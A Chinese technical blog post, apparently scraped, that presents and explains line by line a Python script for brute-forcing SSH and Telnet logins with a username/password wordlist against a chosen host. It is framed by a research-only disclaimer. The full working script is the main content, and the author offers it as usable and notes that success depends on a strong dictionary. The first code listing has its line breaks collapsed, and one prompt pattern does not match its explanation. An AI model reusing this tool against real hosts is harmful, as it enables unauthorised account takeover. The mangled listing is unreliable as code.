当前位置: 首页 > news >正文

Python 实战:内网渗透中的信息收集自动化脚本(3)

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这次主要介绍检测目标主机的ssh或者telnet是否存在默认凭据登录的脚本,相当于爆破ssh,telnet所在端口的账户,密码。类似的工具相信大家不会陌生,九头蛇(hydra)或者美杜莎(Medusa).

import paramiko
import telnetlib
import time
import argparse
from typing import Tuple, Optionaldef SSHLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:"""通过SSH协议尝试登录目标主机:param host: 目标主机IP或域名:param port: 目标端口:param username: 用户名:param password: 密码:param timeout: 超时时间(秒):return: 登录成功返回True,否则返回False"""ssh = Nonetry:ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect(hostname=host,port=port,username=username,password=password,timeout=timeout,allow_agent=False,look_for_keys=False)# 验证会话是否活跃if ssh.get_transport().is_active():print(f"[+] SSH登录成功 {host}:{port} - {username}:{password}")return Trueexcept paramiko.AuthenticationException:print(f"[-] SSH认证失败 {host}:{port} - {username}:{password}")except paramiko.SSHException as e:print(f"[-] SSH连接错误 {host}:{port} - {str(e)}")except (TimeoutError, ConnectionRefusedError):print(f"[-] SSH连接超时/被拒绝 {host}:{port}")except Exception as e:print(f"[-] SSH未知错误 {host}:{port} - {str(e)}")finally:if ssh:try:ssh.close()except:passreturn Falsedef TelnetLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:"""通过Telnet协议尝试登录目标主机:param host: 目标主机IP或域名:param port: 目标端口:param username: 用户名:param password: 密码:param timeout: 超时时间(秒):return: 登录成功返回True,否则返回False"""tn = Nonetry:# 修复原代码中错误的HTTP前缀问题tn = telnetlib.Telnet(host, port, timeout=timeout)# 更灵活的登录提示符处理prompts = tn.expect([b"login:", b"Username:", b"user:"], timeout=timeout)if prompts[0] == -1:print(f"[-] Telnet未找到用户名提示符 {host}:{port}")return Falsetn.write(f"{username}\n".encode('utf-8'))pass_prompts = tn.expect([b"Password:", b"password:"], timeout=timeout)if pass_prompts[0] == -1:print(f"[-] Telnet未找到密码提示符 {host}:{port}")return Falsetn.write(f"{password}\n".encode('utf-8'))# 等待登录结果time.sleep(1)result = tn.expect([b"Last login", b"Welcome", b"$", b">#"], timeout=timeout)if result[0] > -1:print(f"[+] Telnet登录成功 {host}:{port} - {username}:{password}")return Trueelse:print(f"[-] Telnet登录失败 {host}:{port} - {username}:{password}")except EOFError:print(f"[-] Telnet连接被关闭 {host}:{port} - {username}:{password}")except (TimeoutError, ConnectionRefusedError):print(f"[-] Telnet连接超时/被拒绝 {host}:{port}")except Exception as e:print(f"[-] Telnet未知错误 {host}:{port} - {str(e)}")finally:if tn:try:tn.close()except:passreturn Falsedef load_credentials(filename: str) -> list[Tuple[str, str]]:"""从文件加载用户名密码组合:param filename: 凭据文件路径:return: 用户名密码元组列表"""credentials = []try:with open(filename, 'r', encoding='utf-8') as f:for line_num, line in enumerate(f, 1):line = line.strip()if not line or line.startswith('#'):  # 跳过空行和注释continueparts = line.split(maxsplit=1)  # 允许密码包含空格if len(parts) == 2:credentials.append((parts[0].strip(), parts[1].strip()))else:print(f"[!] 凭据文件格式错误,行 {line_num}: {line}")except FileNotFoundError:print(f"[!] 凭据文件 {filename} 未找到")except Exception as e:print(f"[!] 加载凭据文件错误: {str(e)}")return credentialsdef main():# 命令行参数解析parser = argparse.ArgumentParser(description='默认凭据检测工具')parser.add_argument('-H', '--host', required=True, help='目标主机IP或域名')parser.add_argument('-P', '--port', type=int, help='目标端口(默认SSH:22, Telnet:23)')parser.add_argument('-s', '--service', choices=['ssh', 'telnet', 'both'], default='both',help='检测的服务类型(默认: both)')parser.add_argument('-f', '--file', default='defaults.txt', help='凭据文件路径(默认: defaults.txt)')parser.add_argument('-t', '--timeout', type=int, default=10, help='超时时间(秒)(默认: 10)')parser.add_argument('-d', '--delay', type=float, default=0.5, help='尝试间隔时间(秒)(默认: 0.5)')args = parser.parse_args()# 确定端口ssh_port = args.port if args.port else 22telnet_port = args.port if args.port else 23# 加载凭据credentials = load_credentials(args.file)if not credentials:print("[!] 未加载到任何凭据,退出程序")returnprint(f"[*] 开始检测目标 {args.host},共加载 {len(credentials)} 组凭据")# 尝试登录for username, password in credentials:if args.service in ['ssh', 'both']:SSHLogin(args.host, ssh_port, username, password, args.timeout)if args.service in ['telnet', 'both']:TelnetLogin(args.host, telnet_port, username, password, args.timeout)# 避免过于频繁的尝试time.sleep(args.delay)if __name__ == "__main__":main()

1.导入依赖库

import paramiko
import telnetlib
import time
import argparse
from typing import Tuple, Optional
  • paramiko:这是 Python 中用于 SSH 协议操作的第三方库,提供了 SSH 客户端和服务器的实现,这里用于创建 SSH 连接并尝试登录
  • telnetlib:Python 标准库中的 Telnet 客户端模块,用于处理 Telnet 协议的通信
  • time:提供时间相关的功能,这里主要用于控制登录尝试之间的间隔时间
  • argparse:用于解析命令行参数,让用户可以通过命令行设置工具的各种参数
  • typing模块:提供类型提示功能,Tuple用于指定元组类型,增强代码的可读性和 IDE 的类型检查

2.SSHLogin 函数 

函数定义与文档字符串
def SSHLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:"""通过SSH协议尝试登录目标主机:param host: 目标主机IP或域名:param port: 目标端口:param username: 用户名:param password: 密码:param timeout: 超时时间(秒):return: 登录成功返回True,否则返回False"""
初始化与连接准备
    ssh = Nonetry:ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  • ssh = None:先初始化变量,避免在异常处理时引用未定义的变量
  • paramiko.SSHClient():创建 SSH 客户端对象
  • set_missing_host_key_policy(paramiko.AutoAddPolicy()):设置未知主机密钥的处理策略,AutoAddPolicy表示自动接受未知的主机密钥(在安全测试场景常用,但生产环境需谨慎)
尝试 SSH 连接
        ssh.connect(hostname=host,port=port,username=username,password=password,timeout=timeout,allow_agent=False,look_for_keys=False)
  • ssh.connect():尝试连接到目标 SSH 服务
  • allow_agent=False:禁用 SSH 代理,确保不会使用系统中的 SSH 代理进行认证
  • look_for_keys=False:禁用查找本地密钥文件,确保只使用提供的密码进行认证(不依赖本地的 id_rsa 等密钥文件)
验证登录状态
        # 验证会话是否活跃if ssh.get_transport().is_active():print(f"[+] SSH登录成功 {host}:{port} - {username}:{password}")return True
  • ssh.get_transport().is_active():检查 SSH 传输通道是否处于活跃状态,用于确认登录是否成功
  • 成功则打印带有[+]标记的成功信息,并返回True
异常处理
    except paramiko.AuthenticationException:print(f"[-] SSH认证失败 {host}:{port} - {username}:{password}")except paramiko.SSHException as e:print(f"[-] SSH连接错误 {host}:{port} - {str(e)}")except (TimeoutError, ConnectionRefusedError):print(f"[-] SSH连接超时/被拒绝 {host}:{port}")except Exception as e:print(f"[-] SSH未知错误 {host}:{port} - {str(e)}")
  • 分层捕获不同类型的异常,使错误信息更具体:
    • AuthenticationException:明确捕获认证失败(用户名 / 密码错误)
    • SSHException:捕获 SSH 协议相关的错误
    • TimeoutError, ConnectionRefusedError:捕获连接超时或被拒绝的情况
    • 通用Exception:作为保底,捕获其他未预料到的错误
  • 错误信息使用[-]标记,便于区分成功与失败记录
资源清理
    finally:if ssh:try:ssh.close()except:passreturn False
  • finally块确保无论是否发生异常,都会执行资源清理操作
  • 检查ssh对象是否存在,避免NoneType错误
  • 嵌套try-except确保关闭连接时的错误不会影响主程序
  • 函数默认返回False(只有登录成功时才会提前返回True

3. TelnetLogin 函数

函数定义与文档字符串
def TelnetLogin(host: str, port: int, username: str, password: str, timeout: int = 10) -> bool:"""通过Telnet协议尝试登录目标主机:param host: 目标主机IP或域名:param port: 目标端口:param username: 用户名:param password: 密码:param timeout: 超时时间(秒):return: 登录成功返回True,否则返回False"""
  • SSHLogin类似的函数定义,参数和返回值含义相同
  • 文档字符串说明这是用于 Telnet 协议登录的函数
初始化 Telnet 连接
    tn = Nonetry:tn = telnetlib.Telnet(host, port, timeout=timeout)
  • tn = None:初始化变量,避免后续引用问题
  • telnetlib.Telnet(...):创建 Telnet 客户端对象并尝试连接目标主机
处理用户名输入
        # 更灵活的登录提示符处理prompts = tn.expect([b"login:", b"Username:", b"user:"], timeout=timeout)if prompts[0] == -1:print(f"[-] Telnet未找到用户名提示符 {host}:{port}")return Falsetn.write(f"{username}\n".encode('utf-8'))
  • tn.expect(...):等待目标返回指定的提示符,参数是字节序列列表(因为 Telnet 传输的是字节)
    • 支持多种可能的用户名提示符(login:Username:user:),适应不同设备的提示风格
    • 返回值是一个元组(匹配索引, 匹配对象, 字节数据)
  • prompts[0] == -1:表示没有匹配到任何提示符,登录流程无法继续
  • tn.write(...):发送用户名,需要先编码为字节流(utf-8编码),并添加换行符\n模拟回车
处理密码输入
        pass_prompts = tn.expect([b"Password:", b"password:"], timeout=timeout)if pass_prompts[0] == -1:print(f"[-] Telnet未找到密码提示符 {host}:{port}")return Falsetn.write(f"{password}\n".encode('utf-8'))
  • 与处理用户名类似,等待密码提示符(支持大小写形式)
  • 发送密码(同样需要编码为字节流并添加换行符)
验证 Telnet 登录结果
        # 等待登录结果time.sleep(1)result = tn.expect([b"Last login", b"Welcome", b"$", b">#"], timeout=timeout)if result[0] > -1:print(f"[+] Telnet登录成功 {host}:{port} - {username}:{password}")return Trueelse:print(f"[-] Telnet登录失败 {host}:{port} - {username}:{password}")
  • time.sleep(1):等待 1 秒,给服务器足够时间处理登录请求
  • tn.expect(...):通过检测登录成功后的典型提示信息来判断是否登录成功
    • Last login:常见于 Linux 系统的登录成功提示
    • Welcome:通用的欢迎信息
    • $#:命令行提示符(普通用户和管理员)
  • result[0] > -1:表示匹配到了成功标识,登录成功
异常处理与资源清理
    except EOFError:print(f"[-] Telnet连接被关闭 {host}:{port} - {username}:{password}")except (TimeoutError, ConnectionRefusedError):print(f"[-] Telnet连接超时/被拒绝 {host}:{port}")except Exception as e:print(f"[-] Telnet未知错误 {host}:{port} - {str(e)}")finally:if tn:try:tn.close()except:passreturn False
  • 异常处理逻辑与SSHLogin类似,但针对 Telnet 的特点增加了EOFError(连接被意外关闭)
  • 同样在finally块中确保 Telnet 连接被关闭
  • 默认返回False,只有登录成功时返回True

4. load_credentials 函数 

函数定义与文档字符串
def load_credentials(filename: str) -> list[Tuple[str, str]]:"""从文件加载用户名密码组合:param filename: 凭据文件路径:return: 用户名密码元组列表"""
  • 函数返回值类型list[Tuple[str, str]]表示 "字符串元组的列表",即每个元素是一个包含两个字符串(用户名和密码)的元组
初始化与文件读取
    credentials = []try:with open(filename, 'r', encoding='utf-8') as f:for line_num, line in enumerate(f, 1):line = line.strip()if not line or line.startswith('#'):  # 跳过空行和注释continue
  • credentials = []:初始化空列表存储凭据
  • with open(...):使用上下文管理器打开文件,自动处理文件关闭
  • enumerate(f, 1):获取行号(从 1 开始计数,符合实际文件行号习惯)
  • line.strip():去除行首尾的空白字符(空格、换行符等)
  • if not line or line.startswith('#'):跳过空行和以#开头的注释行
解析凭据行
                parts = line.split(maxsplit=1)  # 允许密码包含空格if len(parts) == 2:credentials.append((parts[0].strip(), parts[1].strip()))else:print(f"[!] 凭据文件格式错误,行 {line_num}: {line}")
  • line.split(maxsplit=1):只分割第一个空格,允许密码中包含空格(例如 "admin pass123" 会被正确分割为用户名 "admin" 和密码 "pass123")
  • 检查分割结果是否为两部分(用户名和密码),符合格式则添加到凭据列表
  • 格式错误则输出警告信息,包含行号便于用户排查凭据文件问题
异常处理
    except FileNotFoundError:print(f"[!] 凭据文件 {filename} 未找到")except Exception as e:print(f"[!] 加载凭据文件错误: {str(e)}")return credentials
  • 专门处理FileNotFoundError(文件不存在),错误信息更明确
  • 通用异常捕获其他可能的文件读取错误(如权限问题、编码问题等)
  • 返回加载到的凭据列表(可能为空)

5. main 函数 - 详细拆解

命令行参数解析
    # 命令行参数解析parser = argparse.ArgumentParser(description='默认凭据检测工具')parser.add_argument('-H', '--host', required=True, help='目标主机IP或域名')parser.add_argument('-P', '--port', type=int, help='目标端口(默认SSH:22, Telnet:23)')parser.add_argument('-s', '--service', choices=['ssh', 'telnet', 'both'], default='both',help='检测的服务类型(默认: both)')parser.add_argument('-f', '--file', default='defaults.txt', help='凭据文件路径(默认: defaults.txt)')parser.add_argument('-t', '--timeout', type=int, default=10, help='超时时间(秒)(默认: 10)')parser.add_argument('-d', '--delay', type=float, default=0.5, help='尝试间隔时间(秒)(默认: 0.5)')args = parser.parse_args()
  • argparse.ArgumentParser:创建命令行参数解析器
  • 定义的参数说明:
    • -H/--host:必填参数,目标主机地址
    • -P/--port:可选参数,指定端口(不指定则使用默认端口)
    • -s/--service:指定检测的服务类型,只能是sshtelnetboth(默认)
    • -f/--file:凭据文件路径(默认defaults.txt
    • -t/--timeout:连接超时时间(默认 10 秒)
    • -d/--delay:每次尝试之间的间隔时间(默认 0.5 秒)
  • args = parser.parse_args():解析命令行参数并存储到args对象
确定服务端口
    # 确定端口ssh_port = args.port if args.port else 22telnet_port = args.port if args.port else 23
  • 如果用户通过-P指定了端口,则 SSH 和 Telnet 都使用该端口
  • 未指定时,使用默认端口(SSH:22,Telnet:23)
  • 这样设计允许用户灵活测试非标准端口上的服务
加载凭据并检查
    # 加载凭据credentials = load_credentials(args.file)if not credentials:print("[!] 未加载到任何凭据,退出程序")return
  • 调用load_credentials函数加载凭据文件
  • 如果凭据列表为空(加载失败或文件中没有有效凭据),则输出提示并退出程序
执行登录尝试
    print(f"[*] 开始检测目标 {args.host},共加载 {len(credentials)} 组凭据")# 尝试登录for username, password in credentials:if args.service in ['ssh', 'both']:SSHLogin(args.host, ssh_port, username, password, args.timeout)if args.service in ['telnet', 'both']:TelnetLogin(args.host, telnet_port, username, password, args.timeout)# 避免过于频繁的尝试time.sleep(args.delay)
  • 打印开始信息,包含目标主机和凭据数量
  • 循环遍历所有凭据,对每个用户名 / 密码组合:
    • 根据服务类型选择调用SSHLoginTelnetLogin或两者
    • 每次尝试后等待args.delay秒,避免请求过于频繁(防止被目标主机限制或视为攻击)

6. 程序入口

if __name__ == "__main__":main()

  • 这是 Python 的标准程序入口写法
  • 当脚本被直接运行时(__name__ == "__main__"为真),调用main()函数启动程序
  • 如果脚本被作为模块导入,则不会自动执行main()函数

通过此代码,我们了解了ssh以及telnet爆破的内在逻辑,了解其基本原理,上面代码能够进行基本使用,想要功能能够更加强大,需要不断优化以及改进。再次提醒,爆破的成功在于有一个强大的字典,这是必不可少的。

http://www.dtcms.com/a/349864.html

相关文章:

  • 苹果公司即将启动一项为期三年的计划
  • Linux应急响应一般思路(三)
  • 蜗牛播放器 Android TV:解决大屏观影痛点的利器
  • C/C++ 指针与函数
  • Tesseract OCR之页面布局分析
  • 朴素贝叶斯:用 “概率思维” 解决分类问题的经典算法
  • ​Visual Studio + UE5 进行游戏开发的常见故障问题解决
  • 【区间DP】P1063 [NOIP 2006 提高组] 能量项链
  • 基于深度学习的人声分离系统设计与实现
  • Apache Commons Math_Java科学计算的利器
  • AP服务发现中两条重启检测路径
  • 南京魔数团:AR技术引领远程协作新纪元
  • C++ Core Guidelines 核心理念
  • ios webgl音频问题
  • 深入解析:为什么应该避免使用 atoi、atol 和 atof 函数
  • 集成算法概述与分类
  • 大数据毕业设计选题推荐-基于大数据的超市销售数据统计分析系统-Hadoop-Spark-数据可视化-BigData
  • 【opengl 实践】 windows下vscode配置遇到的问题
  • week4-[二维数组]幻方检测
  • 【Android】Activity和Fragment之间的通讯
  • 大型电动化工程机械设备智能施工试验场的网络设计方案
  • java基础(十五)计算机网络
  • 【栈 - LeetCode】739.每日温度
  • 深入理解JVM垃圾收集器:垃圾收集器
  • Vue3 + Golang Gin 实现客服实时聊天系统(WebSocket + Socket.IO 详解)
  • Maven、Spring Boot、Spring Cloud以及它们的相互关系
  • iptables 防火墙技术详解
  • 如何通过虚函数实现多态?
  • 文入门Ubuntu:从零到精通的Linux之旅
  • 数学建模-整数规划(IP)